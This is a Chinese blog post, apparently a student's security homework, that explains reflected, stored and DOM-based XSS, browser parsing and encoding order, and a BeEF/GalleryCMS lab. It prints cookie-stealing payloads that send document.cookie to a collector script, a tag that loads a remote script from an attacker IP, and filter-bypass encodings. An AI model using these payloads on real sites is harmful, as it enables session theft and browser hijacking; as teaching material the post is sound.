当前位置:网站首页>网络安全第六次作业
网络安全第六次作业
2022-08-02 13:48:00 【戊戌怀夏】
xss知识
xss基础
解释
跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
分类与对比
最常见的三种分类:
反射型(非持久型)
存储型(持久型)
DOM型
反射型
反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器,要利用这个漏洞,攻击者必须以某种方式诱导用户访问一个精心设计的URL(恶意链接),才能实施攻击。
举例来说,当一个网站的代码中包含类似下面的语句
<?php echo "<p>hello,$_GET['user']</p>"; ?>
那么在访问时设置
xxxxxx/?user=</p><script>alert("hack")</script><p>
,则可执行预设好的JavaScript代码。
反射型攻击流程:
反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor(chrome内置的XSS保护)、NoScript等防御手段的影响较大,所以它的危害性较存储型要小。
那么如果想要扩大反射型XSS的影响,就要想办法转化为持久型,或者使攻击持久化。
存储型
存储型(或 HTML 注入型/持久型)XSS 攻击最常发生在由社区内容驱动的网站或 Web 邮件网站,不需要特制的链接来执行。黑客仅仅需要提交 XSS 漏洞利用代码(反射型xss通常只在url中)到一个网站上其他用户可能访问的地方。这些地区可能是博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis,和其他的许多地方。一旦用户访问受感染的页,执行是自动的。
漏洞成因
存储型XSS漏洞的成因与反射型的根源类似,不同的是恶意代码会被保存在服务器中,导致其它用户(前端)和管理员(前后端)在访问资源时执行了恶意代码。
利用方式
持续性的 XSS(即存储型) 的危险性比非持久性高,因为用户没有办法保护自己。一旦黑客成功在某个页面注入了漏洞利用代码,他将宣传受感染页面的 URL 来希望不知情的用户中招。即使用户对非持续性 XSS 的 URL 懂得识别,也会很容易的受到影响。
存储型攻击流程:
DOM型
通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS
例如这么一个页面:
<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img
src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>
在这段代码中,submit按钮的onclick事件调用了xsstest()函数。而在xsstest()中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,造成了DOM Based XSS。
当用户输入: x’ οnerrοr=’javascript:alert(/xss/) ,代码就变成了:
<img src='x' onerror='javascript:alert(/xss/)'></img>
最后脚本被执行,出现弹窗。
前面两种恶意脚本都会经过服务器端然后返回给客户端,相对DOM型来说比较好检测与防御,而DOM型不用将恶意脚本传输到服务器在返回客户端,即DOM型XSS一般和服务器的解析响应没有直接的关系,而是在JavaScript脚本动态执行的过程中产生的。
xss的利用
利用XSS窃取cookie
窃取cookie是xss利用最常见的手段,攻击者有了cookie就相当于拥有了“管理员”身份。通常需要配合xss平台来进行攻击,当被攻击者访问到有恶意代码的页面,他的cookie就会被发送到xss平台。
常用获取cookie的js代码如下:
<img src="http://localhost/XSS_cookie.php?cookie='+document.cookie"></img>
<script>new Image().src="http://localhost/XSS/xss_cookie.php?cookie="+document.cookie;</script>
其中本地的XSS_cookie.php中的内容如下:
XSS修改网页
该利用方式的前提是网站必须存在存储型xss漏洞,并且会将结果返回到页面上。我们可以在源码中插入一段js代码,作用在于获取网站源码中的标签,然后修改其中的属性值,达到修改网页的效果。也可以构造弹窗等诱导被攻击者输入账号密码等关键信息。
XSS获取用户信息
利用xss除了能够获取用户cookie,还能获取诸如浏览器版本、外网IP地址、浏览器安装的插件类型等信息。比如alert(navigator.userAgent); 能够读取userAgent内容;利用java环境,调用java Applet的接口获取客户端本地ip等。
XSS+CSRF 组合拳
组合拳思路
存储型 XSS + CSRF(存储型 XSS 攻击代码中加入 CSRF 代码链接)
存储型XSS + CSRF
HTML编码
解析顺序
HTML实体编码解析>urlcode编码解析>javascript.unicode编码解析
HTML解析
五类元素
(1)空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。例如<area>,<br>,<base>
等等
(2)原始文本元素,可以容纳文本。例如<script>和<style>
(3)RCDATA元素,可以容纳文本和字符引用。例如<textarea>和<title>
(4)外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释,例如MathML命名空间或者SVG命名空间的元素
(5)基本元素,可以容纳文本、字符引用、其他元素和注释,除了以上4种元素以外的元素
一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态
当遇到<符号后,开始进入’标签开始状态‘>'标签名状态’>‘前属性名状态’>…>‘数据状态’至此释放标签令牌
当处于数据状态时解析器将继续解析,发现一个完整标签,然后释放
字符实体
字符实体是一个转义序列,它定义了一般无法在文本内容中输入的单个字符或符号。一个字符实体以一个&符号开始,后面跟着一个预定义的实体的名称,或是一个#符号以及字符的十进制数字
HTML字符实体
在HTML中,某些字符是预留的。例如在HTML中不能使用“<”或“>”,这是因为浏览器可能误认为它们是标签的开始或结束。如果希望正确地显示预留字符,就需要在HTML中使用对应的字符实体。某些字符没有实体名称,但可以有实体编号
字符引用
<div><img src=x onerror=alert(4)></div>
#这里的解析过程为遇到</div>
后进入数据状态,<
html实体编码会被解析出来为<,只会作为一个特殊字符显示,此时不会进入标签开始状态,所以后面的img元素不会被执行
在RCDATA元素标签<textarea>
中,所有js代码都不能被执行<textarea><script>alert(6)</script></textarea>
#不会执行
这里的onclick中属于标签的属性值,与href中同,所以会被HTML解析
<button onclick="confirm('7');">Button</button>
URL解析
URL资源类型必须是ASCII字母(U+0041-U+005A || U+0061-U+007A),不然就会进入“无类型”状态
下面的编码中没有HTML编码内容,不考虑,其中href内部是URL,于是直接丢给URL模块处理,但是协议无法识别被编码的javascript:,所以解码失败,不会被执行<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>
#不会执行
首先编码中有HTML编码,HTML解析器对其解析,直到冒号:后因为是href中为url,所以URL解析对其进行识别为JavaScript协议,然后进行解码得到正确的js协议,接着js执行
<a href="javascript:%61%6c%65%72%74%28%32%29">
在href中为url,URL解析模块进行识别,只有JavaScript没有完整的JavaScript:,于是不会进行解码,所以不会执行<a href="javascript%3aalert(3)"></a>
#不会执行
JavaScript解析
字符串中:当Unicode转义序列存在于字符串中时,它只会被解释为正规字符,而不是单引号,双引号或者换行符这些能够打破字符串上下文的字符,Unicode转义序列将永远不会破环字符串上下文,因为它们只能被解释成字符串常量
下面onclick中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示
<button onclick="confirm('8\u0027);">Button</button>#不会执行
标识符名称中:当Unicode转义序列出现在标识符名称中时,它会被解码并解释为标识符名称的一部分,例如函数名,属性名等等
下面的script属于原始文本元素(Raw text elements),只可以容纳文本,注意没有字符引用,于是直接由JS处理,JS也认不出来,执行失败<script>alert(9);</script>
#不会执行
控制字符:当用Unicode转义序列来表示一个控制字符时,例如单引号、双引号、圆括号等等,它们将不会被解释成控制字符,而仅仅被解码并解析为标识符名称或者字符串常量
下面script中的编码它并不会被执行。因为“(11)”不会被正确的解析,而“alert(11)”也不是一个有效的标识符名称<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
#不会执行
下面\u0031\u0032在解码的时候会被解码为字符串12,没有引号,所以不会执行
下面不能执行是因为在JS中只有字符串和标识符能用Unicode表示<script>alert('13\u0027)</script>#
不会执行
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
先由HTML解析解码,然后再由URL进行识别解码,最后再由js解码unicode,然后执行
xss的绕过
首先安装beef
apt-get update与apt-get install beef-xss
启动beef软件。
使用beef-xss启动beEF软件。第一次启动时会强制要求修改密码
并且将host地址修改为kali虚拟机的地址
而beef的启动为beef-xss,停止为beef-xss-stop
然后就可以在虚拟机中登录beef了
而搭建GalleryCMS,只需要将该文件放到PHP的www目录下即可
,首先它会报错—没有gallery这个数据库,只需要在MySQL下新建这个数据库就好
然后另外一个错误就是—last_ip 没有默认值,我用的方法是修改严格模式,也通过了(因为我是先尝试一遍再重新写作业,所以这里没有截图)
最后就是这样
然后前面那些试验我就没有截图了
在最后短域名绕过的时候,我没有将老师的域名写入到阿里云的服务器里,然后我尝试把域名解析到华为的服务器上也没有成功,最后只有在虚拟机上进行本机操作
我这里的hook.js修改了IP地址,可以外网访问
这几个字符就是浏览器基于Unicode码的缩短吧,在进行短域名绕过的时候会经常用到
- ff expands to `ff`
- ℠ expands to `sm`
- ㏛ expands to `sr`
- st expands to `st`
- ㎭ expands to `rad`
- ℡ expands to `tel`
然后在登录框中利用xsshunter的代码进行实验
<script>$.getScript("//IP地址")</script>
最后结果
边栏推荐
猜你喜欢
A number of embassies and consulates abroad have issued reminders about travel to China, personal and property safety
Differences and concepts between software testing and hardware testing
Do you know Dijkstra of graph theory?
【C语言】剖析函数递归(3)
【C语言】函数哪些事儿,你真的get到了吗?(2)
永远退出机器学习界!
【C语言】明解数组(1)
鲁大师7月新机性能/流畅榜:骁龙8+正面对决天玑9000+,性能跑分突破123万!
stack && queue
【C语言】夏日一题 —— 求最大公约数和最小公倍数
随机推荐
RESTful style (detailed introduction + case implementation)
Win11怎么修改关机界面颜色?Win11修改关机界面颜色的方法
【C语言】虐打循环练习题(2)
tinymce 如何实现动态国际化
Awesome!Alibaba interview reference guide (Songshan version) open source sharing, programmer interview must brush
什么是 commonjs2
Image retrieval method based on deep learning!
【C语言】函数哪些事儿,你真的get到了吗?(1)
高效代码静态测试工具Klocwork 2022.2——Portal全新升级、支持RLM
GTK:Gdk-CRITICAL **: IA__gdk_draw_pixbuf: assertion ‘GDK_IS_DRAWABLE (drawable)’ failed
暑假集训-week2图论
Mysql index details (with pictures and texts)
CVE-2020-27986 (Sonarqube sensitive information leak) vulnerability fix
Differences and concepts between software testing and hardware testing
Reading IDEO, Design Changes Everything
WiFi Association & Omnipeek Packet Capture Analysis
ttl电平与rs232电平转换电路(232电平定义)
RISC-V instruction format and 6 basic integer instructions
Automatically generate code generator recommendation-code-gen
【typescript】使用antd中RangePicker组件实现时间限制 当前时间的前一年(365天)